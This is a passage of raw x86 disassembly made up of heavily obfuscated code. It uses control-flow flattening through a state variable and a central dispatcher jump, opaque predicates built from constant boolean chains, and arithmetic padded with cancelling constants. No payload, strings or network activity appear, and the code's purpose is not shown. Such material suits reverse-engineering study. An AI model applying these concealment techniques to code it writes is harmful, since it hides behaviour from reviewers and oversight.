or cl, bh
or ch, bl
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov byte [ebp - 0x10f6], ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov bl, cl
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, bl
or al, ah
xor bh, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 0
or ch, ah
or al, 0
xor ch, 0xff
and ch, al
xor dh, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov ah, 1
xor ah, 0
mov al, dl
xor al, ah
and al, dl
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x10f5], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and al, dh
mov byte [ebp - 0x10f8], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x10f7], al
mov al, byte [ebp - 0x10f8]
and cl, dh
or ch, al
mov al, byte [ebp - 0x10f7]
or al, cl
mov cl, byte [ebp - 0x10f6]
xor ch, al
mov al, byte [ebp - 0x10f5]
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x10f4], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x10f4]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc76df429
mov ecx, 0x612a59f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x80858d03
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, eax
add esi, 0
xor edi, edi
sub edi, 0x4c42a282
add edi, 0
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
sub edx, 0x20332298
add edx, 0x39f065e4
add edx, 0x20332298
add edx, 0x3ba73cb5
sub edx, 1
sub edx, 0x3ba73cb5
sub edx, 0x371f4f4b
sub edx, 0x39f065e4
add edx, 0x371f4f4b
xor esi, esi
sub esi, 0x908a3005
sub edx, esi
sub edx, 0x821c53f6
sub edx, 0x4c42a282
add edx, 0x821c53f6
add edx, 0xaac16adc
sub edx, 0x908a3005
sub edx, 0xaac16adc
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl al
mov byte [ebp - 0x1164], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov bh, ah
xor bh, cl
and bh, ah
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x1164]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, 1
xor ch, 1
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1166], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1166]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x1145], al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, cl
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0x1165], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1163], al
mov al, byte [ebp - 0x1165]
or al, cl
mov cl, byte [ebp - 0x1164]
mov byte [ebp - 0x1162], al
mov al, byte [ebp - 0x1163]
or bh, al
mov al, byte [ebp - 0x1162]
xor al, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov byte [ebp - 0x1142], al
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
mov ch, dl
xor ch, 0xff
mov bl, dh
and bl, ch
xor dh, 0xff
mov ch, dl
and ch, dh
or bl, ch
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or bl, dh
or ch, 0
xor bl, 0xff
and bl, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x1161], al
mov al, 1
xor al, 0
mov bh, ah
and bh, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x1161]
or al, bh
or ch, dh
xor al, ch
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov ch, 1
xor ch, 1
and ch, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, bh
mov bh, byte [ebp - 0x1145]
or al, ah
xor ch, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x1160], al
and bh, al
mov al, ch
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x115f], al
mov al, byte [ebp - 0x1160]
and ch, al
mov al, byte [ebp - 0x115f]
or ah, bh
mov bh, byte [ebp - 0x1145]
or al, ch
mov ch, byte [ebp - 0x1142]
xor ah, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov byte [ebp - 0x1147], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x115e], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ah, 1
xor ah, 1
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x115e]
or ch, bh
xor ah, ch
mov byte [ebp - 0x115a], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x115b], bh
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0x115d], al
mov al, ch
and al, 0
mov byte [ebp - 0x115c], al
mov al, byte [ebp - 0x115d]
and cl, ah
or bh, al
mov al, byte [ebp - 0x115c]
or al, cl
mov cl, byte [ebp - 0x115b]
xor bh, al
mov al, byte [ebp - 0x115a]
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or bh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, bl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, bl
and cl, ch
or al, cl
mov byte [ebp - 0x1154], al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, dh
and cl, ch
or al, cl
mov byte [ebp - 0x1151], al
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov al, ch
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bh, al
mov al, byte [ebp - 0x1154]
or cl, ch
xor bh, cl
mov byte [ebp - 0x114c], bh
mov ch, 1
xor ch, 1
mov cl, al
xor cl, ch
and cl, al
mov ch, bh
xor ch, 0xff
mov al, bl
xor al, ch
mov ch, byte [ebp - 0x1151]
and al, bl
mov byte [ebp - 0x1159], al
xor ch, 0xff
mov al, 1
xor al, 1
mov bl, 1
xor bl, 0
or ch, al
mov al, byte [ebp - 0x1159]
or bl, 0
xor ch, 0xff
and ch, bl
xor bh, 0xff
mov bl, dh
xor bl, bh
and bl, dh
mov dh, cl
xor dh, 0xff
xor al, 0xff
mov byte [ebp - 0x1153], al
mov bh, 1
xor bh, 0
mov al, dh
and al, 0
mov byte [ebp - 0x1158], al
mov al, byte [ebp - 0x1153]
and cl, bh
and al, 0
mov byte [ebp - 0x1157], al
mov al, byte [ebp - 0x1159]
and al, bh
mov byte [ebp - 0x1156], al
mov al, byte [ebp - 0x1158]
or al, cl
mov cl, byte [ebp - 0x1157]
mov byte [ebp - 0x1155], al
mov al, byte [ebp - 0x1156]
or cl, al
mov al, byte [ebp - 0x1155]
xor al, cl
mov cl, byte [ebp - 0x1154]
mov byte [ebp - 0x1152], al
mov al, byte [ebp - 0x1153]
or dh, al
mov al, byte [ebp - 0x1152]
xor dh, 0xff
or bh, 0
and dh, bh
mov bh, byte [ebp - 0x1151]
or al, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov bl, al
xor bl, 0xff
mov ch, dh
and ch, bl
xor dh, 0xff
and al, dh
or ch, al
mov dh, cl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dh
and al, 0
mov byte [ebp - 0x1150], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x114f], al
mov al, byte [ebp - 0x1151]
and al, bl
mov byte [ebp - 0x114e], al
mov al, byte [ebp - 0x1150]
or al, cl
mov cl, byte [ebp - 0x114f]
mov byte [ebp - 0x114d], al
mov al, byte [ebp - 0x114e]
or cl, al
mov al, byte [ebp - 0x114d]
xor al, cl
mov cl, byte [ebp - 0x114c]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or al, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and al, bl
or dh, al
mov bl, 1
xor bl, 1
mov byte [ebp - 0x1148], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1149], al
mov bh, 1
xor bh, 0
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x114b], al
mov al, byte [ebp - 0x1149]
and al, 0
mov byte [ebp - 0x114a], al
mov al, byte [ebp - 0x114b]
and cl, bh
or bl, al
mov al, byte [ebp - 0x114a]
or al, cl
mov cl, byte [ebp - 0x1149]
xor bl, al
mov al, byte [ebp - 0x1148]
or al, cl
mov cl, byte [ebp - 0x1147]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
xor dh, 0xff
xor bl, 0xff
mov al, 1
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov byte [ebp - 0x1146], al
mov ch, ah
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, cl
xor ch, 0xff
mov bh, ah
and bh, ch
xor ah, 0xff
and cl, ah
or bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov bl, cl
and bl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or bl, al
mov al, byte [ebp - 0x1146]
or dh, bh
xor bl, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or bl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, bl
xor cl, ah
and cl, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1145]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0x1141], al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and bl, dl
mov ch, ah
and ch, 0xff
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov bh, 1
xor bh, 0
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
and bh, dh
mov byte [ebp - 0x1144], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1143], al
mov al, byte [ebp - 0x1144]
or ch, al
mov al, byte [ebp - 0x1143]
or bh, al
mov al, byte [ebp - 0x1142]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, dh
or dl, ch
or cl, ah
xor dl, cl
mov cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
mov bh, al
and bh, ah
xor al, 0xff
and al, 1
or bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1141]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dl, al
mov byte [ebp - 0x1139], dl
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bh, bl
or al, ch
xor bh, al
mov ch, 1
xor ch, 0
mov al, dl
xor al, ch
and al, dl
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 0
mov dl, dh
xor dl, ch
and dl, dh
mov byte [ebp - 0x113d], dl
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x113e], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
and al, ch
mov byte [ebp - 0x1140], al
mov al, bl
and al, 0
mov byte [ebp - 0x113f], al
mov al, byte [ebp - 0x1140]
and cl, ch
or ah, al
mov al, byte [ebp - 0x113f]
or al, cl
mov cl, byte [ebp - 0x113e]
xor ah, al
mov al, byte [ebp - 0x113d]
or dl, bl
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x113a], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x113c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x113b], al
mov al, byte [ebp - 0x113c]
and cl, ch
or dl, al
mov al, byte [ebp - 0x113b]
or al, cl
mov cl, byte [ebp - 0x113a]
xor dl, al
mov al, byte [ebp - 0x1139]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1138], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, al
mov al, byte [ebp - 0x1138]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x1137], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1137]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x733a44b9
mov ecx, 0x275119a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x65bbeba6
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xf55990c3
jmp 0x486e58
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x1d4]
xor edx, edx
sub edx, 0x81f3c042
add eax, edx
sub eax, 0x3095eb81
sub eax, 0x3215c95b
add eax, 0x3095eb81
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x81f3c042
add edx, eax
xor eax, eax
sub eax, edx
sub eax, 0xcf9614e
add eax, 0x1e97aa4c
add eax, 0xcf9614e
add eax, 0xb320ce4
add eax, ecx
sub eax, 0xb320ce4
xor ecx, ecx
sub ecx, 0x1e97aa4c
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x7f39e66c
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xc958aabb
add eax, 0x3215c95b
add eax, 0xc958aabb
xor ecx, ecx
sub ecx, 0x7f39e66c
add eax, ecx
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1e0], 0x878d249b
jmp 0x486e58
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x1e0], 0x6cdcc3a5
jmp 0x486e58
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x1e0], 0x87cf798d
jmp 0x486e58
mov eax, dword [ebp - 0x178]
mov dword [eax], 0x20
mov dword [ebp - 0x1e0], 0x1f240ed0
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x46a6e3c7
jmp 0x486e58
jmp 0x4496bd